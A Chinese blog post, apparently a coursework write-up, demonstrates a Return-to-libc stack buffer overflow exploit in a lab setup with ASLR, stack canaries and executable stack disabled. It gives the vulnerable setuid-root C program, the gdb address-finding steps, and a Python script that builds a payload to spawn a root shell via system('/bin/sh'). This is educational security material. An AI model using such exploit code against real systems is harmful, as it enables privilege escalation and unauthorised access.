使用Return2LibC利用栈溢出漏洞

使用Return2LibC利用栈溢出漏洞

环境:ubuntu16.04, gcc, gdb,

说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh")

1. 存在栈溢出漏洞的程序

如下就是我们的测试代码homework2.c,使用strcpy函数,但却没有判断字符串长度,存在栈溢出漏洞。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int vulfunc(char *str)
{
    char buffer[25];
    strcpy(buffer, str);
    return 1;
}
int main(){
    char str[500];
    FILE *badfile;
    badfile = fopen("badfile","r");
    fread(str, sizeof(char), 400, badfile);
    vulfunc(str);
    printf("Returned properly\n");
    fclose(badfile);
    return 0;
}

然后编译上述代码,关闭可执行栈、关闭StackGuard、关闭地址随机化

gcc -fno-stack-protector -z noexecstack -g -o homework2 homework2.c  

cDVbDA.png

然后关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0  

cDZpvQ.png

然后修改文件拥有者和文件属性,文件拥有者修改为root,文件属性设置为4755:① 文件所有者可读可写可执行;② 与文件所有者同属一个用户组的其他用户可读可执行;③ 其它用户组可读可执行;④ 其他用户执行文件时,具有与所有者相当的权限。

sudo chown root homework2  
sudo chmod 4755 homework2 

cDZZCT.png

2. 准备Return2LibC攻击所需地址信息

首先需要找到两个libc函数,system和exit(system用于执行我们的恶意指令,exit用于正确退出程序),使用gdb调试程序,然后打印处这两个函数的地址,如下图所示,system函数位于0xb7e43da0,exit函数位于0xb7e379d0

cDZWrj.png

然后我们还需要找一个"/bin/sh"字符串,这就有很多方法(直接暴力搜索内存或者环境变量等等),这里使用环境变量。

我们使用如下程序获得环境变量地址

#include<stdio.h>
int main(){
    char * shell = (char *)getenv("MYSHELL");
    if(shell){
        printf("  Value:   %s\n", shell);
        printf("  Address: %x\n", (unsigned int) shell);
    }
    return 1;
}

创建一个环境变量,并执行上述程序,可以看到地址为0xbffffe68,在我们运行homework2程序时可能并不是这个地址(可能和程序名称长度等等因素有关)

cDe1yQ.png

使用gdb调试测试程序,然后查看栈中内容,就能找到我们的环境变量,地址为0xbffffe58,这才是我们需要的地址。

x /500s $esp  

cDeRfK.png

然后我们还需要找到需要覆盖的ret的位置(eip),我们向缓冲区覆盖连续的字节。然后查看eip的值即可,脚本如下:

import sys

# fill content with none zero values
content = bytearray(0x01 for i in range(100));

for i in range(100):
	content[i] += i

badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()

可以看到eip的低字节为0x26=38,也就是需要在缓冲第38个字节开始覆盖system地址

cysEZD.png

3. 进行Return2LibC攻击

在函数调用过程中栈空间如下图所示

cDmE1U.png

我们使用缓冲区溢出漏洞,使用buffer变量覆盖栈空间,将返回地址填充为system函数,进入system函数后,其返回地址填充为exit函数地址,这样程序就能正常结束,再往上就填充system传入参数即可(即“/bin/sh”)

cDmJje.png

然后我们结合上述得到的地址信息,使用如下脚本就能得到恶意输入badfile

import sys

# fill content with none zero values
content = bytearray(0xaa for i in range(300))
# for i in range(100):
    # content[i] += i

# address of "/bin/sh"
a3 = 0xbffffe58
# write to ebp+12
content[45:49] = (a3).to_bytes(4, byteorder='little')

# address of exit
a2 = 0xb7e379d0
# write to ebp+8
content[41:45] = (a2).to_bytes(4, byteorder='little')

# address of system
a1 = 0xb7e43da0
# write to ebp+4
content[37:41] = (a1).to_bytes(4, byteorder='little')

badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()

得到的badfile如下

cDmogU.png

然后我们使用gdb调试homework2程序,start开始程序(在main函数停下),然后c运行,可以看到我们成功运行了system(“./bin/sh”),得到了一个shell

cDmHu4.png

大功告成🙂

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值